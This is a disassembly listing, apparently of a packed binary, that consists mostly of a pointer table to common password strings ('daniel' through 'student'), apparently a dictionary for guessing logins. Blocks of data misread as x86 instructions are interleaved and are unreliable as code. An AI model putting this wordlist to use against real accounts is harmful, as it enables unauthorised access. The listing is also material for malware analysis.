dd offset aDaniel ; "daniel" dd offset aDanielle ; "danielle" dd offset aDanny ; "danny" dd offset aDapper ; "dapper" dd offset aDark ; "dark" dd offset aDarkaven ; "darkaven" dd offset aData ; "data" dd offset aDave ; "dave" dd offset aDawn ; "dawn" dd offset aDead ; "dead" dd offset aDeathsta ; "deathsta" dd offset aDebbie ; "debbie" dd offset aDeborah ; "deborah" dd offset aDebug ; "debug" dd offset aDecember ; "december" dd offset aDeck ; "deck" dd offset aDefault_0 ; "default" dd offset aDefault_1 ; "DEFAULT" dd offset aDefoe ; "defoe" dd offset aDelta ; "delta" dd offset aDeluge ; "deluge" dd offset aDemocrat ; "democrat" dd offset aDenise ; "denise" dd offset aDennis ; "dennis" dd offset aDesiree ; "desiree" dd offset aDesk ; "desk" dd offset aDesktop ; "desktop" dd offset aDesperat ; "desperat" dd offset aDevelop ; "develop" dd offset aDevice ; "device" dd offset aDial ; "dial" dd offset aDiamond ; "diamond" dd offset aDiana ; "diana" dd offset aDiane ; "diane" dd offset aDice ; "dice" dd offset aDick ; "dick" dd offset aDiehard ; "diehard" dd offset aDiet ; "diet" dd offset aDieter ; "dieter" dd offset aDigital ; "digital" dd offset aDinosaur ; "dinosaur" dd offset aDipshit ; "dipshit" dd offset aDirect ; "direct" ; --------------------------------------------------------------------------- add al, 0D9h inc ebx add [eax], dl fld dword ptr [ebx+0] sbb cl, bl inc ebx loc_43AA4F: ; CODE XREF: .nsp0:0043AA74j add [eax], ah fld dword ptr [ebx+0] sub al, 0D9h inc ebx add [eax], bh fld dword ptr [ebx+0] inc esp fld dword ptr [ebx+0] dec esp fld dword ptr [ebx+0] pop eax fld dword ptr [ebx+0] pusha fld dword ptr [ebx+0] push 700043D9h fld dword ptr [ebx+0] js short loc_43AA4F inc ebx add [eax-77FFBC27h], al fld dword ptr [ebx+0] nop fld dword ptr [ebx+0] cwde fld dword ptr [ebx+0] movsb fld dword ptr [ebx+0] mov al, 0D9h inc ebx add [eax-3FFFBC27h], bh fld dword ptr [ebx+0] enter 43D9h, 0 aam 0D9h inc ebx add ah, bl fld dword ptr [ebx+0] ; --------------------------------------------------------------------------- dd offset aDrive ; "drive" dd offset aDrought ; "drought" dd offset aDuck ; "duck" dd offset aDude ; "dude" dd offset aDuelist ; "duelist" dd offset aDuke ; "duke" dd offset aDulce ; "dulce" dd offset aDuncan ; "duncan" dd offset aDungeon ; "dungeon" dd offset aDyke ; "dyke" dd offset aEager ; "eager" dd offset aEagle ; "eagle" dd offset aEarth ; "earth" dd offset aEasier ; "easier" dd offset aEasy ; "easy" dd offset aEatme ; "eatme" dd offset aEcho ; "echo" dd offset aEddie ; "eddie" dd offset aEdges ; "edges" dd offset aEdinburg ; "edinburg" dd offset aEdit ; "edit" dd offset aEdition ; "edition" dd offset aEducation ; "education" dd offset aEducatio ; "educatio" dd offset aEdwin ; "edwin" dd offset aEdwina ; "edwina" dd offset aEgghead ; "egghead" dd offset aEiderdow ; "eiderdow" dd offset aEileen ; "eileen" dd offset aEinsiein ; "einsiein" dd offset aEinstein ; "einstein" dd offset aElaine ; "elaine" dd offset aElanor ; "elanor" dd offset aElectron ; "electron" dd offset aElephant ; "elephant" dd offset aElizabet ; "elizabet" dd offset aEllen ; "ellen" dd offset aEmail_0 ; "email" dd offset aEmerald ; "emerald" dd offset aEmily ; "emily" dd offset aEmmanuel ; "emmanuel" dd offset aEnemy ; "enemy" dd offset aEngine ; "engine" dd offset aEngineer ; "engineer" dd offset aEngland_0 ; "england" dd offset aEnglish_0 ; "english" dd offset aEnter ; "enter" dd offset aEnterpri ; "enterpri" dd offset aEnzyme ; "enzyme" dd offset aErenity ; "erenity" dd offset aEric ; "eric" dd offset aErica ; "erica" dd offset aErika ; "erika" dd offset aErin ; "erin" dd offset aErotic ; "erotic" dd offset aErsatz ; "ersatz" dd offset aEstablis ; "establis" dd offset aEstate ; "estate" dd offset aEternity ; "eternity" dd offset aEuclid ; "euclid" dd offset aEvelyn ; "evelyn" dd offset aExpert ; "expert" dd offset aExplode ; "explode" dd offset aExplore ; "explore" dd offset aExplorer ; "explorer" dd offset aExplosiv ; "explosiv" dd offset aExtensio ; "extensio" dd offset aFairway ; "fairway" dd offset aFaith ; "faith" dd offset aFalcon ; "falcon" dd offset aFalse ; "false" dd offset aFamily ; "family" dd offset aFarad ; "farad" dd offset aFaraday ; "faraday" dd offset aFart ; "fart" dd offset aFast ; "fast" dd offset aFear ; "fear" dd offset aFeds ; "feds" dd offset aFelicia ; "felicia" dd offset aFender ; "fender" dd offset aFermat ; "fermat" dd offset aFerrari ; "ferrari" dd offset aFidelity ; "fidelity" dd offset aField ; "field" dd offset aFight ; "fight" dd offset aFile_0 ; "file" dd offset aFinite ; "finite" dd offset aFire ; "fire" dd offset aFirewall ; "firewall" dd offset aFishers ; "fishers" dd offset aFlakes ; "flakes" dd offset aFloat ; "float" dd offset aFlorida ; "florida" dd offset aFlower ; "flower" dd offset aFlowers ; "flowers" dd offset aFood ; "food" dd offset aFool ; "fool" dd offset aFoolproo ; "foolproo" dd offset aFootball ; "football" dd offset aForce ; "force" dd offset aFord ; "ford" dd offset aForesigh ; "foresigh" dd offset aForever ; "forever" dd offset aForm ; "form" dd offset aFormat ; "format" dd offset aFornicat ; "fornicat" dd offset aForsythe ; "forsythe" dd offset aFourier ; "fourier" dd offset aFoxtrot ; "foxtrot" dd offset aFrance_0 ; "france" dd offset aFrank ; "frank" dd offset aFreak ; "freak" dd offset aFred ; "fred" dd offset aFree_0 ; "free" dd offset aFreedom ; "freedom" dd offset aFrench_0 ; "french" dd offset aFriday_0 ; "friday" dd offset aFriend ; "friend" dd offset aFriends ; "friends" dd offset aFrighten ; "frighten" dd offset aFrog ; "frog" dd offset aFryguy ; "fryguy" dd offset aFuck ; "fuck" ; --------------------------------------------------------------------------- and dh, bl inc ebx add [eax], ch fiadd word ptr [ebx+0] loc_43AC98: ; CODE XREF: .nsp0:0043ACB8j xor dh, bl inc ebx add [eax], bh fiadd word ptr [ebx+0] inc eax fiadd word ptr [ebx+0] dec eax fiadd word ptr [ebx+0] push esp fiadd word ptr [ebx+0] pusha fiadd word ptr [ebx+0] push 700043DEh fiadd word ptr [ebx+0] js short loc_43AC98 inc ebx add [esi+ebx*8-2173FFBDh], al inc ebx add [eax-5FFFBC22h], bl fiadd word ptr [ebx+0] test al, 0DEh inc ebx add [eax-47FFBC22h], dh fiadd word ptr [ebx+0] ; --------------------------------------------------------------------------- dd offset aGhost ; "ghost" dd offset aGibson ; "gibson" dd offset aGigabyte ; "gigabyte" dd offset aGina ; "gina" dd offset aGinger ; "ginger" dd offset aGirl ; "girl" dd offset aGlacier ; "glacier" dd offset aGold ; "gold" dd offset aGolden ; "golden" dd offset aGolf ; "golf" dd offset aGolfer ; "golfer" dd offset aGood ; "good" dd offset aGorgeous ; "gorgeous" dd offset aGorges ; "gorges" dd offset aGosling ; "gosling" dd offset aGouge ; "gouge" dd offset aGovermen ; "govermen" dd offset aGrades ; "grades" dd offset aGraham ; "graham" dd offset aGrahm ; "grahm" dd offset aGrand ; "grand" dd offset aGrant ; "grant" dd offset aGreat ; "great" dd offset aGreen ; "green" dd offset aGroup ; "group" dd offset aGryphon ; "gryphon" dd offset aGuardian ; "guardian" dd offset aGucci ; "gucci" dd offset aGuess ; "guess" dd offset aGuitar ; "guitar" dd offset aGumption ; "gumption" dd offset aGuntis ; "guntis" dd offset aHack ; "hack" dd offset aHacked ; "hacked" dd offset aHagar ; "hagar" dd offset aHair ; "hair" dd offset aHallowee ; "hallowee" dd offset aHamlet ; "hamlet" dd offset aHamster ; "hamster" dd offset aHandel ; "handel" dd offset aHandily ; "handily" dd offset aHandjob ; "handjob" dd offset aHappenin ; "happenin" dd offset aHard ; "hard" dd offset aHardcore ; "hardcore" dd offset aHarddriv ; "harddriv" dd offset aHarmony ; "harmony" dd offset aHarold ; "harold" dd offset aHarvey ; "harvey" dd offset aHate ; "hate" dd offset aHaven ; "haven" dd offset aHawaii ; "hawaii" dd offset aHead ; "head" dd offset aHeadbang ; "headbang" dd offset aHeat ; "heat" dd offset aHeathen ; "heathen" dd offset aHeather ; "heather" dd offset aHebrides ; "hebrides" dd offset aHeidi ; "heidi" dd offset aHeinlein ; "heinlein" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aHelp ; "help" dd offset aHerb ; "herb" dd offset aHerbert ; "herbert" dd offset aHero ; "hero" dd offset aHeroin ; "heroin" dd offset aHewlett ; "hewlett" dd offset aHexadeci ; "hexadeci" dd offset aHiawatha ; "hiawatha" dd offset aHibernia ; "hibernia" dd offset aHidden ; "hidden" dd offset aHigh ; "high" dd offset aHighland ; "highland" dd offset aHitler ; "hitler" dd offset aHits ; "hits" dd offset aHole ; "hole" dd offset aHolly ; "holly" dd offset aHollywoo ; "hollywoo" dd offset aHomepage ; "homepage" dd offset aHomer ; "homer" dd offset aHomework ; "homework" dd offset aHoney ; "honey" dd offset aHooker ; "hooker" dd offset aHooters ; "hooters" dd offset aHorny ; "horny" dd offset aHorrible ; "horrible" dd offset aHorror ; "horror" dd offset aHorse ; "horse" dd offset aHorus ; "horus" dd offset aHost ; "host" dd offset aHotdog ; "hotdog" dd offset aHotel ; "hotel" dd offset aHttp_0 ; "http" dd offset aHunt ; "hunt" dd offset aHunter ; "hunter" dd offset aHutchins ; "hutchins" dd offset aHydrogen ; "hydrogen" dd offset aHyper ; "hyper" dd offset aHypertxt ; "hypertxt" dd offset aIcecream ; "icecream" dd offset aIllumina ; "illumina" dd offset aImage ; "image" dd offset aImbrogli ; "imbrogli" dd offset aImmortal ; "immortal" dd offset aImperial ; "imperial" dd offset aInclude ; "include" dd offset aIndia ; "india" dd offset aIndian ; "indian" dd offset aIndiana ; "indiana" dd offset aIndians ; "indians" dd offset aIngres ; "ingres" dd offset aIngress ; "ingress" dd offset aIngrid ; "ingrid" dd offset aInna ; "inna" dd offset aInnocuou ; "innocuou" dd offset aInput ; "input" dd offset aInside ; "inside" dd offset aInteger ; "integer" dd offset aInvent ; "invent" dd offset aIrene ; "irene" dd offset aIrishman ; "irishman" dd offset aIsis ; "isis" dd offset aJackie ; "jackie" dd offset aJail ; "jail" dd offset aJane ; "jane" dd offset aJanet ; "janet" dd offset aJanice ; "janice" dd offset aJanie ; "janie" dd offset aJapan ; "japan" dd offset aJasmin ; "jasmin" dd offset aJava ; "java" dd offset aJazz ; "jazz" dd offset aJean ; "jean" dd offset aJeanne ; "jeanne" dd offset aJeff ; "jeff" dd offset aJenni ; "jenni" dd offset aJennifer ; "jennifer" dd offset aJenny ; "jenny" dd offset aJerry ; "jerry" dd offset aJerusale ; "jerusale" dd offset aJessica ; "jessica" dd offset aJester ; "jester" dd offset aJewelry ; "jewelry" dd offset aJill ; "jill" dd offset aJixian ; "jixian" dd offset aJoanne ; "joanne" dd offset aJody ; "jody" dd offset aJohn ; "john" dd offset aJohndoe ; "johndoe" dd offset aJohnny ; "johnny" dd offset aJoseph ; "joseph" dd offset aJoshua ; "joshua" dd offset aJournal ; "journal" dd offset aJoyce ; "joyce" dd offset aJudith ; "judith" dd offset aJudy ; "judy" dd offset aJuggle ; "juggle" dd offset aJuicy ; "juicy" dd offset aJulia ; "julia" dd offset aJulie ; "julie" dd offset aJuliet ; "juliet" dd offset aJune_0 ; "june" dd offset aJupiter ; "jupiter" dd offset aKaka ; "kaka" dd offset aKaren ; "karen" dd offset aKarie ; "karie" dd offset aKarina ; "karina" dd offset aKatana ; "katana" dd offset aKate ; "kate" dd offset aKathleen ; "kathleen" dd offset aKathrine ; "kathrine" dd offset aKathy ; "kathy" dd offset aKatina ; "katina" dd offset aKatrina ; "katrina" dd offset aKelly ; "kelly" dd offset aKeri ; "keri" dd offset aKermit ; "kermit" dd offset aKernel ; "kernel" dd offset aKerri ; "kerri" dd offset aKerrie ; "kerrie" dd offset aKerry ; "kerry" dd offset aKevin ; "kevin" dd offset aKewl ; "kewl" dd offset aKeybord ; "keybord" dd offset aKeyin ; "keyin" dd offset aKeyword ; "keyword" dd offset aKids ; "kids" dd offset aKill_0 ; "kill" dd offset aKillthem ; "killthem" dd offset aKilo ; "kilo" dd offset aKimberly ; "kimberly" dd offset aKing ; "king" dd offset aKirk ; "kirk" dd offset aKirkland ; "kirkland" dd offset aKiss ; "kiss" dd offset aKissmyas ; "kissmyas" dd offset aKitten ; "kitten" dd offset aKlingon ; "klingon" dd offset aKnife ; "knife" dd offset aKnight ; "knight" dd offset aKnightma ; "knightma" dd offset aKnown ; "known" dd offset aKrista ; "krista" dd offset aKristen ; "kristen" dd offset aKristi ; "kristi" dd offset aKristie ; "kristie" dd offset aKristin ; "kristin" dd offset aKristine ; "kristine" dd offset aKristy ; "kristy" dd offset aLadies ; "ladies" dd offset aLadle ; "ladle" dd offset aLakers ; "lakers" dd offset aLambda ; "lambda" dd offset aLaminati ; "laminati" dd offset aLana ; "lana" dd offset aLaptop ; "laptop" dd offset aLara ; "lara" dd offset aLarkin ; "larkin" dd offset aLarry ; "larry" dd offset aLaser ; "laser" dd offset aLaura ; "laura" dd offset aLava ; "lava" dd offset aLazarus ; "lazarus" dd offset aLazer ; "lazer" dd offset aLeah ; "leah" dd offset aLebesgue ; "lebesgue" dd offset aLeft ; "left" dd offset aLeftwing ; "leftwing" dd offset aLegal ; "legal" dd offset aLeland ; "leland" dd offset aLeroy ; "leroy" dd offset aLesbian ; "lesbian" dd offset aLeslie ; "leslie" dd offset aLetmein ; "letmein" dd offset aLewis ; "lewis" dd offset aLexluthe ; "lexluthe" dd offset aLiberal ; "liberal" dd offset aLibrary ; "library" dd offset aLick ; "lick" dd offset aLicker ; "licker" dd offset aLife ; "life" dd offset aLight ; "light" dd offset aLightsab ; "lightsab" dd offset aLima ; "lima" dd offset aLimbaugh ; "limbaugh" dd offset aLimited ; "limited" dd offset aLinda ; "linda" dd offset aLink ; "link" dd offset aLion ; "lion" dd offset aLips ; "lips" dd offset aLisa ; "lisa" dd offset aLisp ; "lisp" dd offset aLiteratu ; "literatu" dd offset aLive ; "live" dd offset aLoad_0 ; "load" dd offset aLock ; "lock" dd offset aLockout ; "lockout" dd offset aLockword ; "lockword" dd offset aLogic ; "logic" dd offset aLoginwor ; "loginwor" dd offset aLogout_0 ; "logout" dd offset aLois ; "lois" dd offset aLolopc ; "lolopc" dd offset aLoose ; "loose" dd offset aLore ; "lore" dd offset aLori ; "lori" dd offset aLorin ; "lorin" dd offset aLorraine ; "lorraine" dd offset aLoser ; "loser" dd offset aLouis ; "louis" dd offset aLovebug ; "lovebug" dd offset aLover ; "lover" dd offset aLuck ; "luck" dd offset aLucus ; "lucus" dd offset aLucy ; "lucy" dd offset aLude ; "lude" dd offset aLuke ; "luke" dd offset aLust ; "lust" dd offset aLynn ; "lynn" dd offset aLynne ; "lynne" dd offset aMachine ; "machine" dd offset aMacintos ; "macintos" dd offset aMack ; "mack" dd offset aMacro ; "macro" dd offset aMaggot ; "maggot" dd offset aMagic ; "magic" dd offset aMagnet ; "magnet" dd offset aMail ; "mail" dd offset aMaint ; "maint" dd offset aMalcolm ; "malcolm" dd offset aMalcom ; "malcom" dd offset aMana ; "mana" dd offset aManager ; "manager" dd offset aMara ; "mara" dd offset aMarci ; "marci" dd offset aMarcy ; "marcy" dd offset aMaria ; "maria" dd offset aMariens ; "mariens" dd offset aMarietta ; "marietta" dd offset aMarijuan ; "marijuan" dd offset aMarines ; "marines" dd offset aMark ; "mark" dd offset aMarkus ; "markus" dd offset aMarni ; "marni" dd offset aMarriage ; "marriage" dd offset aMars ; "mars" dd offset aMarty ; "marty" dd offset aMarvin ; "marvin" dd offset aMary ; "mary" dd offset aMason ; "mason" dd offset aMaster ; "master" dd offset aMath ; "math" dd offset aMaurice ; "maurice" dd offset aMeagan ; "meagan" dd offset aMegabyte ; "megabyte" dd offset aMegadeth ; "megadeth" dd offset aMegan ; "megan" dd offset aMelissa ; "melissa" dd offset aMellon ; "mellon" dd offset aMelrose ; "melrose" dd offset aMember ; "member" dd offset aMemory ; "memory" dd offset aMenace ; "menace" dd offset aMenu ; "menu" dd offset aMercury ; "mercury" dd offset aMerlin ; "merlin" dd offset aMetal ; "metal" dd offset aMetalhea ; "metalhea" dd offset aMetalica ; "metalica" dd offset aMets ; "mets" dd offset aMice ; "mice" dd offset aMichael ; "michael" dd offset aMichel ; "michel" dd offset aMichelan ; "michelan" dd offset aMichele ; "michele" dd offset aMichelle ; "michelle" dd offset aMickey ; "mickey" dd offset aMicro ; "micro" dd offset aMicrochi ; "microchi" dd offset aMicropro ; "micropro" dd offset aMicrosof ; "microsof" dd offset aMidieval ; "midieval" dd offset aMike ; "mike" dd offset aMine ; "mine" dd offset aMinimum ; "minimum" dd offset aMinsky ; "minsky" dd offset aMisfit ; "misfit" dd offset aMission ; "mission" dd offset aMkii ; "mkii" dd offset aMode_1 ; "mode" dd offset aModem ; "modem" dd offset aMogul ; "mogul" dd offset aMoguls ; "moguls" dd offset aMonday_0 ; "monday" dd offset aMonica ; "monica" dd offset aMoom ; "moom" dd offset aMoor ; "moor" dd offset aMoose ; "moose" dd offset aMore ; "more" ; --------------------------------------------------------------------------- add al, 0EBh inc ebx add [ebx+ebp*8], cl inc ebx add [ebx+ebp*8], dl inc ebx add [ebx+ebp*8], bl inc ebx add [eax], ch jmp short loc_43B2CE ; --------------------------------------------------------------------------- align 4 xor al, 0EBh inc ebx add [ebx+ebp*8], bh inc ebx add [eax-15h], cl inc ebx add [eax-15h], dl inc ebx add [eax-15h], bl inc ebx add [eax-15h], ah inc ebx add [eax-15h], ch inc ebx add [eax-15h], dh inc ebx add [eax-15h], bh inc ebx add [eax-77FFBC15h], al jmp short loc_43B2FA ; --------------------------------------------------------------------------- align 4 dd offset aNagel ; "nagel" ; --------------------------------------------------------------------------- cwde jmp short loc_43B302 ; --------------------------------------------------------------------------- align 10h dd offset aNancy ; "nancy" ; --------------------------------------------------------------------------- test al, 0EBh inc ebx add [ebx+ebp*8-1443FFBDh], dh loc_43B2CE: ; CODE XREF: .nsp0:0043B289j inc ebx add ah, al jmp short loc_43B316 ; --------------------------------------------------------------------------- align 4 dd offset aNeptune ; "neptune" dd offset aNess ; "ness" dd offset aNetscape ; "netscape" dd offset aNetwork_0 ; "network" dd offset aNewborn ; "newborn" dd offset aNews ; "news" dd offset aNewsgrou ; "newsgrou" dd offset aNewton ; "newton" dd offset aNewyork ; "newyork" ; --------------------------------------------------------------------------- and ah, ch loc_43B2FA: ; CODE XREF: .nsp0:0043B2B5j inc ebx add [eax], ch in al, dx inc ebx add [eax], dh in al, dx loc_43B302: ; CODE XREF: .nsp0:0043B2BDj inc ebx add [eax], bh in al, dx inc ebx add [esp+ebp*8+43h], al add [esp+ebp*8+43h], cl add [eax-14h], bl inc ebx ; --------------------------------------------------------------------------- db 0 db 64h, 0ECh ; --------------------------------------------------------------------------- loc_43B316: ; CODE XREF: .nsp0:0043B2D1j inc ebx add [esp+ebp*8+43h], ch add [esp+ebp*8+43h], dh add [esp+ebp*8+43h], bh add [esp+ebp*8-1373FFBDh], al inc ebx add [esp+ebp*8-1363FFBDh], dl inc ebx add [esp+ebp*8-1353FFBDh], ah inc ebx add [esp+ebp*8-133FFFBDh], dh inc ebx add al, cl in al, dx inc ebx add al, dl in al, dx inc ebx add al, bl in al, dx inc ebx add al, ah in al, dx inc ebx add al, ch in al, dx inc ebx add al, dh in al, dx inc ebx add al, bh in al, dx inc ebx add ds:0ED0C0043h[ebp*8], al inc ebx add ds:0ED200043h[ebp*8], dl inc ebx add ds:0ED340043h[ebp*8], ch inc ebx add ds:0ED440043h[ebp*8], bh inc ebx add [ebp+ebp*8+43h], cl add [eax-13h], bl inc ebx add [eax-13h], ah inc ebx add [eax-13h], ch inc ebx add [eax-13h], dh inc ebx add [eax-13h], bh inc ebx add [ebp+ebp*8-126FFFBDh], al inc ebx add [ebp+ebp*8-125BFFBDh], bl inc ebx add [ebp+ebp*8-124BFFBDh], ch inc ebx add [ebp+ebp*8-123BFFBDh], bh inc ebx add al, dl in eax, dx inc ebx add al, bl in eax, dx inc ebx add al, ah in eax, dx inc ebx add al, ch in eax, dx inc ebx add al, dh in eax, dx inc ebx add al, bh in eax, dx inc ebx ; --------------------------------------------------------------------------- db 0 dd offset aPacker ; "packer" dd offset aPainless ; "painless" dd offset aPaint ; "paint" dd offset aPakistan ; "pakistan" dd offset aPamela ; "pamela" dd offset aPapa ; "papa" dd offset aPaper ; "paper" dd offset aPapers ; "papers" dd offset aPascal ; "pascal" dd offset aPassphra ; "passphra" dd offset aPaste ; "paste" dd offset aPatricia ; "patricia" dd offset aPatriot ; "patriot" dd offset aPatty ; "patty" dd offset aPaula ; "paula" dd offset aPeanuts ; "peanuts" dd offset aPecker ; "pecker" dd offset aPencil ; "pencil" dd offset aPenelope ; "penelope" dd offset aPenguin ; "penguin" dd offset aPenis ; "penis" dd offset aPenname ; "penname" dd offset aPentagon ; "pentagon" dd offset aPentagra ; "pentagra" dd offset aPenthous ; "penthous" dd offset aPentium ; "pentium" dd offset aPeoria ; "peoria" dd offset aPepper ; "pepper" dd offset aPercolat ; "percolat" dd offset aPerfect ; "perfect" dd offset aPermit ; "permit" dd offset aPersimmo ; "persimmo" dd offset aPersona ; "persona" dd offset aPervert ; "pervert" dd offset aPete ; "pete" dd offset aPeter ; "peter" dd offset aPhil ; "phil" dd offset aPhilip ; "philip" dd offset aPhoenix ; "phoenix" dd offset aPhone ; "phone" dd offset aPhoton ; "photon" dd offset aPhrack ; "phrack" dd offset aPhrase ; "phrase" dd offset aPhreak ; "phreak" dd offset aPhuck ; "phuck" dd offset aPick ; "pick" dd offset aPierre ; "pierre" dd offset aPimp ; "pimp" dd offset aPinname ; "pinname" dd offset aPiss ; "piss" dd offset aPizza ; "pizza" dd offset aPlane ; "plane" dd offset aPlayboy ; "playboy" dd offset aPlover ; "plover" dd offset aPluto ; "pluto" dd offset aPlymouth ; "plymouth" dd offset aPoetry ; "poetry" dd offset aPolice ; "police" dd offset aPolly ; "polly" dd offset aPolynomi ; "polynomi" dd offset aPonderin ; "ponderin" dd offset aPoop ; "poop" dd offset aPoor ; "poor" dd offset aPork ; "pork" dd offset aPorn ; "porn" dd offset aPorno ; "porno" dd offset aPorsche ; "porsche" dd offset aPost ; "post" dd offset aPoster ; "poster" dd offset aPower ; "power" dd offset aPraise ; "praise" dd offset aPrecious ; "precious" dd offset aPrelude ; "prelude" dd offset aPresto ; "presto" dd offset aPrince ; "prince" dd offset aPrinceto ; "princeto" dd offset aPrinter ; "printer" dd offset aPriv ; "priv" dd offset aPrivate ; "private" dd offset aPrivs ; "privs" dd offset aProceed ; "proceed" dd offset aProcesso ; "processo" dd offset aProfesso ; "professo" dd offset aProfile ; "profile" dd offset aProgram ; "program" dd offset aPrompt ; "prompt" dd offset aProtect ; "protect" dd offset aProtozoa ; "protozoa" dd offset aPsycho ; "psycho" dd offset aPsychopa ; "psychopa" dd offset aPublic ; "public" dd offset aPuck ; "puck" dd offset aPuke ; "puke" dd offset aPumpkin ; "pumpkin" dd offset aPuneet ; "puneet" dd offset aPunisher ; "punisher" dd offset aPunk ; "punk" dd offset aPuppet ; "puppet" dd offset aPussy ; "pussy" dd offset aQuebec ; "quebec" dd offset aQwert ; "qwert" dd offset aQwerty ; "qwerty" dd offset aRabbit ; "rabbit" dd offset aRachel ; "rachel" dd offset aRachelle ; "rachelle" dd offset aRachmani ; "rachmani" dd offset aRaid ; "raid" dd offset aRain ; "rain" dd offset aRainbow ; "rainbow" dd offset aRaindrop ; "raindrop" dd offset aRaleigh ; "raleigh" dd offset aRandom_3 ; "random" dd offset aRape ; "rape" dd offset aRascal ; "rascal" dd offset aRazor ; "razor" dd offset aReagan ; "reagan" dd offset aReality ; "reality" dd offset aReally ; "really" dd offset aReam ; "ream" dd offset aReaper ; "reaper" dd offset aRebal ; "rebal" dd offset aRebecca ; "rebecca" dd offset aRebel ; "rebel" dd offset aRecord ; "record" dd offset aReddawn ; "reddawn" dd offset aRedhead ; "redhead" dd offset aReferenc ; "referenc" dd offset aRegional ; "regional" dd offset aRelease ; "release" dd offset aRemote ; "remote" dd offset aRenee ; "renee" dd offset aReno ; "reno" dd offset aRent ; "rent" dd offset aReport ; "report" dd offset aRepublic ; "republic" dd offset aResistan ; "resistan" dd offset aReveal ; "reveal" dd offset aRhino ; "rhino" dd offset aRich ; "rich" dd offset aRick ; "rick" dd offset aRiffraff ; "riffraff" dd offset aRight ; "right" dd offset aRightwin ; "rightwin" dd offset aRing ; "ring" dd offset aRiot ; "riot" dd offset aRipple ; "ripple" dd offset aRisc ; "risc" dd offset aRoach ; "roach" dd offset aRobert ; "robert" dd offset aRobin ; "robin" dd offset aRobot ; "robot" dd offset aRobotics ; "robotics" dd offset aRobyn ; "robyn" dd offset aRochelle ; "rochelle" dd offset aRocheste ; "rocheste" dd offset aRock ; "rock" dd offset aRocky ; "rocky" dd offset aRockyhor ; "rockyhor" dd offset aRodent ; "rodent" dd offset aRolex ; "rolex" dd offset aRomano ; "romano" dd offset aRomeo ; "romeo" dd offset aRomulan ; "romulan" dd offset aRonald ; "ronald" dd offset aRose ; "rose" dd offset aRosebud ; "rosebud" dd offset aRosemary ; "rosemary" dd offset aRoses ; "roses" dd offset aRough ; "rough" dd offset aRubber ; "rubber" dd offset aRuben ; "ruben" dd offset aRuby ; "ruby" dd offset aRude ; "rude" dd offset aRules ; "rules" dd offset aRunning ; "running" dd offset aRush ; "rush" dd offset aRuth ; "ruth" dd offset aSafe ; "safe" dd offset aSalami ; "salami" dd offset aSale ; "sale" dd offset aSalt ; "salt" dd offset aSamantha ; "samantha" dd offset aSample ; "sample" dd offset aSandra ; "sandra" dd offset aSandy ; "sandy" dd offset aSara ; "sara" dd offset aSarah ; "sarah" dd offset aSaturday_0 ; "saturday" dd offset aSaturn ; "saturn" dd offset aSaxon ; "saxon" dd offset aScamper ; "scamper" dd offset aScheme ; "scheme" dd offset aSchool ; "school" dd offset aSchoolsucks ; "schoolsucks" dd offset aScifi ; "scifi" dd offset aScorpion ; "scorpion" dd offset aScott ; "scott" dd offset aScotty ; "scotty" dd offset aScout ; "scout" dd offset aSearch ; "search" dd offset aSecurity ; "security" dd offset aSeed ; "seed" dd offset aSega ; "sega" dd offset aSensor ; "sensor" dd offset aSentinel ; "sentinel" dd offset aSentry ; "sentry" ; --------------------------------------------------------------------------- adc ch, dh inc ebx add ds:0F5240043h[esi*8], bl inc ebx add ds:0F5340043h[esi*8], ch inc ebx add ds:0F5440043h[esi*8], bh inc ebx add [ebp+esi*8+43h], cl add [ebp+esi*8+43h], dl add [ebp+esi*8+43h], bl add [ebp+esi*8+43h], ah add [eax-0Bh], dh inc ebx add [eax-0Bh], bh inc ebx add [eax-77FFBC0Bh], al cmc inc ebx add [eax-67FFBC0Bh], dl cmc inc ebx add [eax-57FFBC0Bh], ah cmc inc ebx add [eax-47FFBC0Bh], dh cmc inc ebx add al, al cmc inc ebx add al, cl cmc inc ebx add al, dl cmc inc ebx add al, bl cmc inc ebx add ah, ah cmc inc ebx add ah, ch cmc inc ebx add ah, dh cmc inc ebx add ah, bh cmc inc ebx add [esi+esi*8], al inc ebx add [eax], dl test byte ptr [ebx+0], 1Ch test byte ptr [ebx+0], 24h test byte ptr [ebx+0], 2Ch test byte ptr [ebx+0], 34h test byte ptr [ebx+0], 3Ch test byte ptr [ebx+0], 44h test byte ptr [ebx+0], 4Ch test byte ptr [ebx+0], 54h test byte ptr [ebx+0], 5Ch test byte ptr [ebx+0], 64h test byte ptr [ebx+0], 6Ch test byte ptr [ebx+0], 74h test byte ptr [ebx+0], 7Ch test byte ptr [ebx+0], 84h test byte ptr [ebx+0], 8Ch test byte ptr [ebx+0], 94h test byte ptr [ebx+0], 9Ch test byte ptr [ebx+0], 0A4h test byte ptr [ebx+0], 0ACh test byte ptr [ebx+0], 0B4h test byte ptr [ebx+0], 0BCh test byte ptr [ebx+0], 0C4h test byte ptr [ebx+0], 0CCh test byte ptr [ebx+0], 0D4h test byte ptr [ebx+0], 0DCh test byte ptr [ebx+0], 0E8h test byte ptr [ebx+0], 0F0h test byte ptr [ebx+0], 0F8h test byte ptr [ebx+0], 4 test dword ptr [ebx+0], offset aSondra ; "sondra" sbb bh, dh inc ebx add [eax], ah test dword ptr [ebx+0], offset aSonya ; "sonya" xor bh, dh inc ebx add [eax], bh test dword ptr [ebx+0], offset aSouth ; "south" dec eax test dword ptr [ebx+0], offset aSparrows ; "sparrows" pusha loc_43B81D: ; CODE XREF: .nsp0:0043B824j test dword ptr [ebx+0], offset aSpell ; "spell" jo short loc_43B81D inc ebx add [eax-9], bh inc ebx add [eax-73FFBC09h], al test dword ptr [ebx+0], offset aSpred ; "spred" pushf test dword ptr [ebx+0], offset aSpringer ; "springer" mov al, 0F7h inc ebx add [eax-3FFFBC09h], bh test dword ptr [ebx+0], offset aStacey ; "stacey" sal bh, 1 inc ebx add al, bl test dword ptr [ebx+0], offset aStacy ; "stacy" ; --------------------------------------------------------------------------- dd offset aStar ; "star" dd offset aStarship ; "starship" dd offset aStart_0 ; "start" dd offset aStartrek ; "startrek" dd offset aStartup ; "startup" dd offset aStarwars ; "starwars" dd offset aSteak ; "steak" dd offset aSteal ; "steal" dd offset aSteel ; "steel" dd offset aSteph ; "steph" dd offset aStephani ; "stephani" dd offset aStereo ; "stereo" dd offset aSteve ; "steve" dd offset aStoneage ; "stoneage" dd offset aStoned ; "stoned" dd offset aStones ; "stones" dd offset aStrange ; "strange" dd offset aStrangle ; "strangle" dd offset aStratfor ; "stratfor" dd offset aStreetfi ; "streetfi" dd offset aString ; "string" dd offset aStrip ; "strip" dd offset aStudent_0 ; "student" dd offset aStuttgar ; "stuttgar" dd offset 